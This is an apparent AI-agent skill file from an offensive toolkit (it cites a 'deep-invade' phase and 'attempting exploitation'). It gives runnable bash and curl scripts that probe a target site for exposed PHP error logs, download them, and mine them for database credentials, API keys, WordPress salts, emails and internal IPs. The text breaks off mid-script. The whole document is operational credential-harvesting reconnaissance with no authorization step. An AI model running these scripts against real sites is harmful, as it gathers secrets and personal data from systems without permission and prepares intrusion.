error-log-mining

# Error Log Mining Skill Discover and analyze exposed PHP `error_log` files for server paths, database errors, SQL fragments, API-key candidates, email addresses, and internal addresses. Collect a bounded sample and validate the sensitivity of its content instead of inferring impact from file size or status. ## When to Use - Running `deep-invade` Phase 2 on a high-value target. - `skill_view(name='source-leak-hunt')` found an `error_log` file with HTTP 200. - Target has PHP (WordPress, Laravel, custom PHP) with `display_errors` possibly enabled. - You need server-side context (paths, DB structure) before attempting exploitation. ## Prerequisites - `terminal` with curl, grep, and python3. - Target URL with potential error_log at common paths. - Disk space: error logs can be multi-GB. Use `curl -r` for range requests on large files. ## How to Run ```bash TARGET="https://example.com" # Paths to probe for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \ "php_errors.log" "wp-content/error.log" "logs/error.log"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path") [[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path" done # Download and analyze curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt python3 analyze_log.py error_log.txt ``` ## Quick Reference | Extraction Target | Python regex | Value | |------------------|--------------------------------------|-------| | Server paths | `re.findall(r'/home/[^\s:)]+', txt)` | Full directory structure | | Email addresses | `re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)` | Admin emails | | DB credentials | `DB_USER[^=]*=[\s'\"]*([^'\";\s]+)` `DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)` `DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)` `DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)` | Database access | | API keys | `sk-[a-zA-Z0-9]{20,60}` `AIza[0-9A-Za-z_-]{35}` `AKIA[0-9A-Z]{16}` `eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}` | Stripe, Google, AWS, JWT | | SQL queries | `(?:SELECT\|INSERT\|UPDATE\|DELETE\|CREATE TABLE\|ALTER TABLE)[^;]{0,300}` | DB schema, table names | | WordPress salts | `(?:AUTH_KEY\|SECURE_AUTH_KEY\|LOGGED_IN_KEY\|NONCE_KEY\|AUTH_SALT\|SECURE_AUTH_SALT\|LOGGED_IN_SALT\|NONCE_SALT)[^,;]+` | Session hijack potential | | PHP error types | `Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)` | Error breakdown | | Date range | `re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)` | Log freshness | ## Procedure ### Step 1 — Discover Error Log Location ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" mkdir -p "$OUTDIR" echo "[*] Probing common error log paths on $TARGET..." ERROR_LOG_PATHS=( "error_log" "wp-content/debug.log" "debug.log" "errors.log" "php_errors.log" "wp-content/error.log" "logs/error.log" "log/error.log" "tmp/php-errors.log" "wp-content/plugins/debug.log" "wp-content/themes/debug.log" ) FOUND_LOGS=() for path in "${ERROR_LOG_PATHS[@]}"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null) if [[ "$code" == "200" ]]; then # Quick content check to avoid SPA false positives sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null) if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then echo "[FOUND] https://$TARGET/$path" FOUND_LOGS+=("https://$TARGET/$path") fi fi sleep 0.3 done echo "[+] Found ${#FOUND_LOGS[@]} error log(s)" ``` ### Step 2 — Download and Sample Large Logs ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" for url in "${FOUND_LOGS[@]}"; do fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g') echo "[*] Downloading $url..." # First, check file size size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r') if [[ -n "$size" && "$size" -gt 10000000 ]]; then echo " Large file (${size} bytes) — sampling first 5MB..." curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null elif [[ -n "$size" && "$size" -gt 1000000 ]]; then echo " Medium file (${size} bytes) — downloading full..." curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null else echo " Small file — downloading full..." curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null fi sleep 0.5 done ``` ### Step 3 — Extract Intelligence ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do [[ ! -f "$logfile" ]] && continue echo "" echo "═══════════ $(basename "$logfile") ═══════════" echo "" # 1. Server Paths echo "[SERVER PATHS]" grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20 # 2. Email Addresses echo "" echo "[EMAIL ADDRESSES]" grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15 # 3. Database Credentials echo "" echo "[DB CREDENTIALS & CONNECTIONS]" grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10 # 4. SQL Queries echo "" echo "[SQL QUERIES]" grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10 # 5. API Keys & Tokens echo "" echo "[API KEYS & TOKENS]" grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10 # 6. Internal IPs echo "" echo "[INTERNAL IPs]" grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10 # 7. WordPress specific echo "" echo "[WORDPRESS PATHS]" grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15 # 8. PHP Error Summary echo "" echo "[ERROR SUMMARY]" echo " Fatal errors: $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)" echo " Warnings: $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)" echo " Notices: $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)" echo " Parse errors: $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)" echo " Deprecated: $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)" echo " Stack traces: $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)" # 9. Date Range echo "" echo "[DATE RANGE]" first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1) last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1) [[ -n "$first" ]] && echo " First: $first" [[ -n "$last" ]] && echo " Last: $last" # 10. Plugin/Theme Names from Paths echo "" echo "[PLUGINS FROM ERRORS]" grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20 echo "" echo "[THEMES FROM ERRORS]"